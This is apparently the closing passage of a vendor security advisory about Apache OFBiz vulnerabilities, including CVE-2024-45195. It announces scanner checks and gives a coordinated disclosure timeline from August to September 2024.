InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-32113, CVE-2024-36104, CVE-2024-38856, and CVE-2024-45195 with vulnerability checks expected to be available in today’s (Thursday, September 5) content release.

Disclosure Timeline

  • August 16, 2024: Rapid7 contacts the Apache OFBiz security team via email.
  • August 17, 2024: Apache OFBiz community developer acknowledges report.
  • August 20, 2024: Apache OFBiz community developer indicates that the team has a solution.
  • August 22, 2024: CVE-2024-45195 reserved by Apache community dev team.
  • August 24, 2024: Patch sent to Rapid7 for testing.
  • August 28, 2024: Rapid7 confirms the patch is sufficient to prevent this vector of exploitation.
  • August 29, 2024: Apache OFBiz developer indicates patch ETA is early September 2024.
  • September 4, 2024: Apache OFBiz advisory published for CVE-2024-45195 (and other vulnerabilities).
  • September 5, 2024: This disclosure.